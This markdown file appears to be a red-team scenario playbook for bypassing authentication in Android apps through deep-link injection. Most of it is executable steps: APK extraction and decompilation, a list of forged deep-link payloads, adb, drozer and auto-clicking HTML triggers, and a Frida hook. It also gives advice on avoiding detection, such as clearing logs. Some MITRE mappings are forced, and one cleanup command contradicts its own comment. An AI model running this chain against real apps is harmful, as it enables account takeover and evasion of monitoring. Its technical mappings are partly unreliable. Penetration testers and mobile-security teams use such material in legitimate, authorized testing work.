---
name: rt-scenario-m005
description: "M-005: Deep Link Injection → Authentication Bypass. Domain: mobile. Attack chain: find URL scheme in AndroidManifest → craft malicious deep link → trigger via ADB → bypass authentication flow → access protected screens. MITRE: T1626 → T1078. Real example: myapp://reset-password?token=INJECTED → triggers password reset without email verification"
---

# M-005: Deep Link Injection → Authentication Bypass

## Overview

| Field | Value |
|---|---|
| Attack Objective | Bypass authentication flows by injecting crafted deep links into an Android application, gaining unauthorized access to protected screens or triggering privileged actions without proper credential verification |
| Required Access Level | None (physical/ADB) or Low (same-network attacker leveraging intent exposure) |
| Estimated Time to Execute | 30–90 minutes depending on obfuscation level and app complexity |
| Detection Risk Level | Low — ADB commands leave minimal traces; no network traffic generated during link injection; artifacts are in device logs only |

---

## Prerequisites

### Required Tools

```bash
# Android Debug Bridge (ADB) — included in Android SDK Platform Tools
# Download: https://developer.android.com/tools/releases/platform-tools
# macOS
brew install android-platform-tools

# Linux (Debian/Ubuntu)
sudo apt install adb

# Windows (via Chocolatey)
choco install adb

# Verify installation
adb version

# apktool — APK decompilation and resource extraction
# Download: https://apktool.org/
# macOS
brew install apktool

# Linux
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar -O apktool.jar
chmod +x apktool
sudo mv apktool /usr/local/bin/
sudo mv apktool.jar /usr/local/bin/

# jadx — Java/Kotlin decompiler for deeper source analysis
# https://github.com/skylot/jadx
# macOS
brew install jadx

# Linux
wget https://github.com/skylot/jadx/releases/latest/download/jadx-1.5.0.zip
unzip jadx-1.5.0.zip -d jadx
sudo ln -s $(pwd)/jadx/bin/jadx /usr/local/bin/jadx

# drozer — Android attack framework (optional, for intent fuzzing)
# https://github.com/WithSecureLabs/drozer
pip install drozer

# Frida — dynamic instrumentation (optional, for runtime bypass validation)
pip install frida-tools
```

### Required Access or Conditions

- Physical access to the Android device OR USB debugging enabled (ADB over USB)
- Alternatively: ADB over TCP/IP enabled on the target device (port 5555)
- APK accessible — either pulled from device or obtained from Play Store / APKPure
- Target application installed on the device
- USB debugging authorized (device trusted the host), OR ADB over network with known IP

### Skill Level

**INTERMEDIATE** — Requires familiarity with Android application structure, ADB, and basic reverse engineering. No exploit development required. Suitable for mobile penetration testers with basic Android knowledge.

---

## Attack Chain

```
[1] Enumerate URL schemes in AndroidManifest.xml
        |
        v
[2] Decompile APK → identify deep link handlers and intent filters
        |
        v
[3] Map deep link parameters → locate authentication checks in source
        |
        v
[4] Craft malicious deep link with injected/forged parameters
        |
        v
[5] Trigger via ADB am start → deliver intent to target activity
        |
        v
[6] Observe application response → confirm authentication bypass
        |
        v
[7] Access protected screen or trigger privileged action
```

**MITRE ATT&CK Chain:** T1626 (Abuse Elevation Control Mechanism) → T1078 (Valid Accounts — bypassing account authentication)

---

## Step-by-Step Execution

### Step 1: Pull the APK from the Device

```bash
# List installed packages to find the target
adb shell pm list packages | grep -i <appname>

# Example output:
# package:com.example.myapp

# Find the APK path on device
adb shell pm path com.example.myapp

# Example output:
# package:/data/app/~~randomstring==/com.example.myapp-base.apk

# Pull the APK to local machine
adb pull /data/app/~~randomstring==/com.example.myapp-base.apk ./target.apk
```

**Expected output:** `target.apk: 1 file pulled, 0 skipped.`

**Fallback:** If app is not extractable due to permissions, use a backup extraction method:
```bash
adb backup -noapk com.example.myapp
# Convert .ab backup to tar using Android Backup Extractor (ABE)
java -jar abe.jar unpack backup.ab backup.tar
tar -xf backup.tar
```

---

### Step 2: Decompile and Extract AndroidManifest.xml

```bash
# Decompile APK with apktool
apktool d target.apk -o ./decompiled_app

# Inspect AndroidManifest.xml
cat ./decompiled_app/AndroidManifest.xml
```

**Expected output:** Full manifest XML. Look for `<intent-filter>` blocks containing `<data android:scheme="...">`.

```xml
<!-- Example of what you are hunting for -->
<activity android:name=".ResetPasswordActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="myapp" android:host="reset-password"/>
    </intent-filter>
</activity>
```

**Fallback:** If manifest is obfuscated or compressed, use jadx:
```bash
jadx -d ./jadx_output target.apk
cat ./jadx_output/resources/AndroidManifest.xml
```

---

### Step 3: Enumerate All Deep Link Schemes

```bash
# Quick grep for all scheme definitions in manifest
grep -i "scheme" ./decompiled_app/AndroidManifest.xml

# List all activities with BROWSABLE intent filters
grep -B 10 "BROWSABLE" ./decompiled_app/AndroidManifest.xml | grep "activity\|scheme\|host\|path"

# Search decompiled smali code for deep link handling
grep -r "getIntent\|getData\|getQueryParameter" ./decompiled_app/smali/ | head -30

# With jadx: search Java source for deep link parameter extraction
grep -r "getQueryParameter\|getPathSegments\|Uri.parse" ./jadx_output/sources/ | head -30
```

**Expected output:** List of URL schemes, hosts, and path patterns registered by the application.

| Scheme | Host | Path | Activity |
|---|---|---|---|
| myapp | reset-password | / | ResetPasswordActivity |
| myapp | dashboard | / | DashboardActivity |
| myapp | profile | /edit | ProfileEditActivity |

---

### Step 4: Analyze the Handler for Authentication Checks

```bash
# Locate the Java source of the target activity via jadx
find ./jadx_output/sources -name "ResetPasswordActivity*"

# Review the onCreate / onNewIntent handler
cat ./jadx_output/sources/com/example/myapp/ResetPasswordActivity.java
```

**What to look for — secure vs. vulnerable pattern:**

```java
// VULNERABLE: Trusts token from URI without server-side verification
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    Uri data = getIntent().getData();
    String token = data.getQueryParameter("token");
    // Token is used directly to proceed without verification
    proceedWithReset(token);
}

// SECURE: Would validate token server-side before proceeding
// validateTokenWithServer(token, callback)
```

**Fallback:** If source is heavily obfuscated, use Frida to hook `getQueryParameter` at runtime:
```bash
frida -U -n com.example.myapp -e "
  Java.perform(function() {
    var Uri = Java.use('android.net.Uri');
    Uri.getQueryParameter.implementation = function(key) {
      var result = this.getQueryParameter(key);
      console.log('[*] getQueryParameter(' + key + ') = ' + result);
      return result;
    };
  });
"
```

---

### Step 5: Craft the Malicious Deep Link

Based on analysis, construct the deep link with injected parameters:

```
myapp://reset-password?token=INJECTED_TOKEN
```

**Variations to test:**

```bash
# Forged token — test with arbitrary string
myapp://reset-password?token=aaaaaaaaaaaaaaaaaaaaaaaa

# Token of zero length (empty bypass)
myapp://reset-password?token=

# Null byte injection
myapp://reset-password?token=%00

# Parameter pollution
myapp://reset-password?token=valid&token=INJECTED

# Path traversal in host/path
myapp://reset-password/../dashboard

# Accessing authenticated screen directly (no token at all)
myapp://dashboard

# Accessing admin/privileged screens
myapp://admin/panel
myapp://settings/export-data
```

---

### Step 6: Trigger Deep Link via ADB

```bash
# Primary method: adb shell am start with deep link URI
adb shell am start \
  -a android.intent.action.VIEW \
  -d "myapp://reset-password?token=INJECTED_TOKEN" \
  com.example.myapp

# Specify the exact component to bypass intent routing
adb shell am start \
  -a android.intent.action.VIEW \
  -d "myapp://reset-password?token=INJECTED_TOKEN" \
  -n com.example.myapp/.ResetPasswordActivity

# Test direct access to authenticated screens
adb shell am start \
  -a android.intent.action.VIEW \
  -d "myapp://dashboard" \
  com.example.myapp

# Test privileged action trigger
adb shell am start \
  -a android.intent.action.VIEW \
  -d "myapp://reset-password?token=INJECTED" \
  -n com.example.myapp/.ResetPasswordActivity
```

**Expected output on success:**
```
Starting: Intent { act=android.intent.action.VIEW dat=myapp://reset-password?token=INJECTED_TOKEN cmp=com.example.myapp/.ResetPasswordActivity }
```

The target activity launches. Observe the device screen.

**Fallback — trigger via HTML page (browser-based):**
```bash
# Create a trigger page and serve it
cat > /tmp/trigger.html << 'EOF'
<html>
<body>
<a href="myapp://reset-password?token=INJECTED" id="link">Click</a>
<script>document.getElementById('link').click();</script>
</body>
</html>
EOF

# Push to device and open in browser
adb push /tmp/trigger.html /sdcard/trigger.html
adb shell am start -a android.intent.action.VIEW -d "file:///sdcard/trigger.html"
```

**Fallback — drozer intent trigger:**
```bash
# Connect drozer agent on device
adb forward tcp:31415 tcp:31415
drozer console connect

# Send intent via drozer
run app.activity.start \
  --action android.intent.action.VIEW \
  --data-uri "myapp://reset-password?token=INJECTED" \
  --component com.example.myapp com.example.myapp.ResetPasswordActivity
```

---

### Step 7: Confirm Authentication Bypass and Access

**Observe on device:**
- Does the app navigate to the password reset screen without sending an email?
- Does the app allow setting a new password with the injected token?
- Does the app navigate to a dashboard/protected screen without login?

**Capture evidence:**

```bash
# Screenshot the result
adb shell screencap -p /sdcard/bypass_evidence.png
adb pull /sdcard/bypass_evidence.png ./evidence/m005_bypass_$(date +%Y%m%d_%H%M%S).png

# Screen record the full attack flow
adb shell screenrecord /sdcard/attack_flow.mp4 &
RECORD_PID=$!
# ... execute the attack steps ...
kill $RECORD_PID
adb pull /sdcard/attack_flow.mp4 ./evidence/

# Capture logcat output during the attack for PoC
adb logcat -c  # clear log buffer
adb shell am start -a android.intent.action.VIEW -d "myapp://reset-password?token=INJECTED" com.example.myapp
adb logcat -d > ./evidence/logcat_m005.txt
```

**Capture network traffic (optional — validate no server-side verification):**
```bash
# If using Burp Suite proxy on device
adb shell settings put global http_proxy <burp_ip>:8080
# Then trigger the deep link and check Burp for outgoing verification requests
# Absence of verification request = confirmed client-side only validation
```

---

## Real-World Reference

**Attack:** `myapp://reset-password?token=INJECTED` triggers password reset without email verification.

**Flow breakdown:**
1. Legitimate flow: User clicks email link → `myapp://reset-password?token=<server_generated_token>` → app validates token with backend → allows password reset
2. Attack flow: Attacker triggers `myapp://reset-password?token=INJECTED` via ADB → app reads token from URI → proceeds without backend validation → password reset screen accessible without email

**Historical real-world cases:**
- **Grab (2019):** Deep link injection allowed account takeover via forged ride-booking deep links
- **Airbnb (HackerOne):** OAuth token leakage via deep link interception in third-party apps
- **Facebook (2014):** Deep link exposed authenticated WebViews to external URI schemes
- **Starbucks:** Deep link allowed order placement without authentication on certain endpoints
- **CVE-2020-0096:** StrandHogg — malicious apps intercept deep links via task affinity hijacking

---

## MITRE ATT&CK Mapping

| Step | Tactic | Technique | Sub-technique | Description |
|---|---|---|---|---|
| 1 — Pull & decompile APK | Reconnaissance | T1430 — Location Tracking (adapt: app recon) | — | Gathering information about target application structure |
| 2 — Extract AndroidManifest | Discovery | T1418 — Software Discovery | T1418.001 — Security Software Discovery | Enumerating application components and attack surface |
| 3 — Analyze deep link handlers | Discovery | T1420 — File and Directory Discovery | — | Examining app code for authentication logic weaknesses |
| 4 — Craft malicious deep link | Resource Development | T1587 — Develop Capabilities | T1587.001 — Malware (adapt: crafted payload) | Constructing the injection payload |
| 5 — Trigger via ADB | Execution | T1626 — Abuse Elevation Control Mechanism | T1626.001 — Setuid and Setgid (adapt: intent abuse) | Delivering the malicious intent to the target activity |
| 6 — Bypass authentication flow | Defense Evasion | T1626 — Abuse Elevation Control Mechanism | — | Circumventing authentication controls via direct activity launch |
| 7 — Access protected screens | Initial Access / Privilege Escalation | T1078 — Valid Accounts | T1078.001 — Default Accounts (adapt: bypassed auth) | Gaining unauthorized access to authenticated application state |

---

## Detection & OPSEC

### How This Attack Is Detected

| Detection Point | Signal | Detection Tool |
|---|---|---|
| ADB connection | USB debugging auth prompt on device; ADB daemon logs | Device OS / MDM |
| `am start` commands | Android system logs (`adb logcat ActivityManager`) capture intent launches with source `adb` tag | SIEM with mobile log ingestion |
| Unexpected activity launch | Activity launched without preceding login flow; no valid session token in memory | App-level analytics / RASP |
| Network anomaly | Password reset flow triggered with no preceding email-click event | Server-side analytics |
| Frida / hooking | Frida gadget or server process visible in device process list | EDR / MTD solutions |

### Reducing Detection Risk During Authorized Engagement

- **Minimize ADB footprint:** Use `adb shell am start` only; avoid installing additional tools on device
- **Clear logcat before and after:** `adb logcat -c` to remove pre-existing logs; note this itself may be logged by MDM
- **Use physical trigger over ADB-over-network:** ADB-over-TCP (port 5555) is more detectable than USB ADB
- **Time execution during low-traffic windows** to avoid anomaly detection on server-side authentication logs
- **Validate scope:** Confirm the specific device UDID and app version are in scope before connecting
- **Use screen recording instead of screenshots** to document without generating multiple artifact files on device

### Artifacts Left Behind

| Artifact | Location | Notes |
|---|---|---|
| ADB auth RSA key | `/data/misc/adb/adb_keys` (device) | Device trusts your host permanently until removed |
| Logcat entries | Android system log (volatile, overwrites) | Survives if MDM collects logs |
| Screencap / screenrecord files | `/sdcard/` on device | Must be manually cleaned |
| trigger.html | `/sdcard/trigger.html` | If browser-based trigger method used |
| Network request logs | Server-side (password reset attempts) | Outside attacker control — log with caution |
| Frida server binary | `/data/local/tmp/frida-server` (if used) | Must be removed |

---

## Cleanup

```bash
# 1. Remove files pushed to device
adb shell rm -f /sdcard/bypass_evidence.png
adb shell rm -f /sdcard/attack_flow.mp4
adb shell rm -f /sdcard/trigger.html

# 2. Remove Frida server if deployed
adb shell rm -f /data/local/tmp/frida-server

# 3. Remove ADB authorization from device
# On device: Settings → Developer Options → Revoke USB debugging authorizations

# 4. Remove your ADB key from device authorized keys (requires root or factory reset)
# adb shell su -c "rm /data/misc/adb/adb_keys"  # root only

# 5. Clear logcat buffer on device
adb logcat -c

# 6. Disable ADB over TCP if it was enabled during engagement
adb tcpip 5555  # Was enabled — disable by rebooting device or:
adb shell setprop service.adb.tcp.port -1
adb shell stop adbd
adb shell start adbd

# 7. Restore proxy settings if modified for Burp
adb shell settings delete global http_proxy
adb shell settings delete global global_http_proxy_host
adb shell settings delete global global_http_proxy_port

# 8. Verify cleanup
adb shell ls /sdcard/ | grep -E "evidence|trigger|attack"
adb shell ls /data/local/tmp/ | grep frida

# 9. Disconnect ADB
adb disconnect
```

---

## References

| Resource | URL |
|---|---|
| Android Deep Links Documentation | https://developer.android.com/training/app-links/deep-linking |
| Android Intent Security (OWASP MASTG) | https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0028/ |
| OWASP Mobile Top 10 — M1: Improper Credential Usage | https://owasp.org/www-project-mobile-top-10/ |
| apktool | https://apktool.org/ |
| jadx | https://github.com/skylot/jadx |
| drozer | https://github.com/WithSecureLabs/drozer |
| Frida | https://frida.re/ |
| MITRE T1626 — Abuse Elevation Control Mechanism | https://attack.mitre.org/techniques/T1626/ |
| MITRE T1078 — Valid Accounts | https://attack.mitre.org/techniques/T1078/ |
| ADB Documentation | https://developer.android.com/tools/adb |
| HackerOne Reports — Deep Link Vulnerabilities | https://hackerone.com/reports?query=deep+link |
| Android Security Bulletin | https://source.android.com/docs/security/bulletin |
